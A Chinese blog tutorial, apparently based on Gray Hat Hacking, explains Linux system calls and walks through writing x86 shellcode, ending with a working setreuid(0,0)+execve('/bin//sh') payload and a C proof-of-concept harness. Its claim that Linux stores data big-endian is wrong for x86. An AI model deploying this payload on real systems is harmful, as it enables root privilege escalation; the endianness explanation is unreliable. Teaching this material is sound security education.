【安全健行】（4）：揭开shellcode的神秘面纱

2015/5/18 16:20:18

前面我们介绍了shellcode使用的基本策略，包括基本的shellcode、反向连接的shellcode以及查找套接字的shellcode。在宏观上了解了shellcode之后，今天我们来深入一步，看看shellcode到底是什么。也许大家和我一样，从接触安全领域就听说shellcode，也模糊地知道shellcode基本就是那个攻击载荷，但是shellcode到底长什么样，却一直遮遮掩掩，难睹真容。趁今天这个机会，我们一起来揭开shellcode的神秘面纱吧！本节要点如下：

• Linux系统调用方式
• shellcode的构造
• 一个具体的shellcode实例

好了，闲言少叙，接下来我们一起进入正题吧！

一、Linux系统调用方式

我们多少都知道，shellcode在缓冲区攻击的组合三明治中作为关键的攻击载荷存在，漏洞攻击获取了操纵EIP寄存器后执行的最终代码就是我们的shellcode。既然shellcode是攻击功能的主要实现，那么自然少不了各种系统功能，如最初的返回一个交互shell，如自动下载一个文件，如自动安插一个后门，等等。而这些操作无一不需要操作系统的鼎力配合。

操作系统配合的方式是提供了系统调用接口，Windows下称作系统API，也就是我们前一章提到的系统内存分为用户态和内核态，系统调用存在内核态中，而调用接口则提供给用户态的用户进程，当然也包括我们的shellcode。

1. 关于系统调用

不同的操作系统中系统调用的实现方式会有不同，比如Winodws中就使用的API方式。这里我们的系统是Linux，因此先来介绍Linux中系统调用的基本知识。

一般操作系统提供系统调用有三种方式：

• 硬件中断：比如来自键盘的异步信号；
• 硬件陷阱：比如非法的“除以0”错误结果；
• 软件陷阱：比如进程请求调度执行；

Linux系统采用的是第三种，即软件陷阱的方式，具体方式就是定义了一个系统调用函数表syscalltable，用于按照顺序组织每个系统调用在内核中的位置；同时Linux还定义了系统调用号，对应着syscalltable中的索引号，这样，我们每次需要系统调用的时候，只需要传递给系统调用号，然后系统调用会自动找到相对应的内核位置，运行该函数。

更为详尽的介绍可以参看CU博友的相关文章：http://blog.chinaunix.net/uid-7547035-id-60054.html

二、shellcode的构造

我们直觉上应该能知道shellcode是机器可以识别的二进制机器码，因此自然有三种方式可以构造shellcode:

• 直接写16进制操作码
• 采用C语言这样的高级语言编写程序，编译链接后再反汇编获取汇编指令和16进制操作码；
• 编写汇编程序，汇编后利用objdump从中提取出16进制操作码

大家一般不会选择第一种方式，可能倾向于第二种的朋友比较多，但是实际上，最为实用的是第三种。这里大家要区分汇编语言依旧不是机器码，每个CPU都有自己特定的操作码集合，这些集合都利用32位的机器码来表示，因此我们的最终目标是获得执行功能的机器码，具体到我们今天的例子，就是来获取一个执行系统调用的机器操作码。

在汇编语言层测，主要通过加载特定寄存器值的方式进行系统调用：

1. 在eax中加载体统调用使用的16进制值，即系统调用号，syscalltable中的索引；
2. 在ebx存放第1个参数，在ecx中存放第2个参数，在edx中存放第3个参数，在esi和edi中存放第4、5个参数，Linux系统调用最多支持5个单独参数；
3. 若实际参数超过5个，那么使用一个参数数组，并且将该数组的地址存放在ebx中；

为了说明为什么直接利用汇编来写shellcode更为实用，我们来引入一个简单的调用系统函数exit()的C程序，如下：

//exit.c
#include <stdlib.h> 
int main()
{
    exit(0);
} 

在Linux下记得不要加入"system("pause")"这样的命令，这个只在Windows下才能识别，Linux下会报错。接下来我们利用gcc进行编译，运行后查看反汇编的代码：

这里我们设置了断点，只查看main函数中的代码，忽略了函数开场白和收场白，注意汇编代码<+4>和<+9>的两行代码，它们是系统在调用exitgroup()这个系统调用，该调用时确保进程退出所在的线程组；接下来的<+15>和<+20>则是我们关于exit(0)的调用。这里采用的是gcc的动态编译，因此调用exitgroup时使用的是call的形式，如果采用static形式编译，那么则会和exit一样是0x80的形式，这里用0x80表示一个系统软中断。

细心的朋友一定发现采用C编译的问题，就是引入了编译器优化的其他系统调用，我们必须进行区分筛选构造shellcode，而在汇编代码中找到我们的系统调用码有时并不容易，因此我们推荐更为直接，也是更为实用的第三种方式：直接使用汇编语言编写shellcode。

这里我们只需要简单几句汇编语句即可：

;exit.asm
section .text 
global _start
_start:
xor eax, eax ; 初始化eax为0
xor ebx, ebx ; 初始化ebx为0
mov al, 0x01 ; 放入exit的系统调用号“1”
int 0x80; 

这里需要注意的是mov al, 0x01 没有直接使用eax，而是eax的8位版本al，即最低的8位寄存器，因为Linux下默认是大端存储 ，即高位数据会存放在低位内存上（无论大端还是小端，都是从内存低地址向高地址存放数据，只是先存高位数据还是低位数据的问题，书写上，一般左侧是高位，右侧是低位）。如果是EAX寄存器，那么就会是【（高内存）01 00 00 00（低内存）】，因此我们需要采用al寄存器。

利用nasm和ld对我们的汇编程序进行汇编和链接，然后运行测试，使用strace来查看系统调用：

实验证明我们成功调用了exit()函数。接下来的工作就是从中提取出操作码，然后嵌入到攻击载荷中就可以了，下面我们以一个简单的shellcode来进行说明。

三、一个具体的shellcode实例

1. 明确系统调用

在具体构造一个shellcode之前，我们需要明确shellcode要实现的系统调用。这里我们引入两个系统调用setreuid(0,0)和execve：

• setreuid(0,0)系统调用主要用来交换Linux进程的实际用户ID和有效用户ID。每个Linux进程都有有两个相关的用户ID：实际用户ID（即ruid）和有效用户ID（即euid），其中ruid表示了该进程由谁运行，即当前系统环境用户是谁，主要回答who am I?的问题；而euid则用来规范进程的实际权限控制。比如passwd文件存放了用户名和密码，当一个普通用户运行passwd时，其ruid是自己，而euid则临时变为了文件的所有者root。这主要是设置SUID来实现的，而setreuid的作用在于交换ruid和euid；
• execve系统调用用于启动一个具体的可执行文件，一般需要三个参数：eax中存放系统调用号0xb；ebx中存放一个字符串的地址；ecx中还是上面的地址；edx中0x0；

关于setreuid的一个参考：http://blog.csdn.net/hittata/article/details/8670208

接下来我们shellcode的思路是：

1. 创建一个调用shellcode字符串的C程序文件se_r，意思为包含setreuid+execve两个系统调用的测试文件；
2. 为se_r赋予root所有者，添加SUID位；
3. 普通用户运行se_r，运行时euid会变为root，而setreuid会交换ruid和euid，因此当程序执行完毕后实际用户成为了root；

我们不再采用C语言来编写shellcode，而是直接采用汇编语言：

section .text
global _start

_start:
;setreuid(0,0)
xor eax, eax
mov al, 0x46 ；setreuid的系统调用号
xor ebx, ebx
xor ecx, ecx
int 0x80    ；系统调用

;spawn shellcode with execve
xor eax, eax
push eax
push 0x68732f2f ；逆序压入“//sh”
push 0x6e69622f ：逆序压入“/bin”
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx, edx
mov al, 0xb
int 0x80 

这里逆序压入也是因为是大端输入的问题，采用两个“//”是为了4个字节的对齐。

我们汇编、链接上面的文件，设置所有者为root，添加SUID权限后运行：

可以看到得到了root的shell。

我们的shellcode通过测试之后，接下来要从中提取出我们的操作码，这里主要利用objump命令：

主要检查下操作码中不要有0x0这样的字符，因为系统会意外中止，检查没有后，我们开始写一个C程序加进我们的shellcode，即POC：

char sc[] =
    //setreuid(0,0)
    "\x31\xc0"
    "\xb0\x46"
    "\x31\xdb"
    "\x31\xc9"
    "\xcd\x80"
    //spawn shellcode with execve
    "\x31\xc0"
    "\x50"
    "\x68\x2f\x2f\x73\x68"
    "\x68\x2f\x62\x69\x6e"
    "\x89\xe3"
    "\x50"
    "\x53"
    "\x89\xe1"
    "\x31\xd2"
    "\xb0\x0b"
    "\xcd\x80";

int main()
{
    void (*fp) (void);
    fp = (void *)sc;
    fp();
} 

Refer: Gray Hat Hacking: The Ethical Hacker‘s Handbook, Third Edition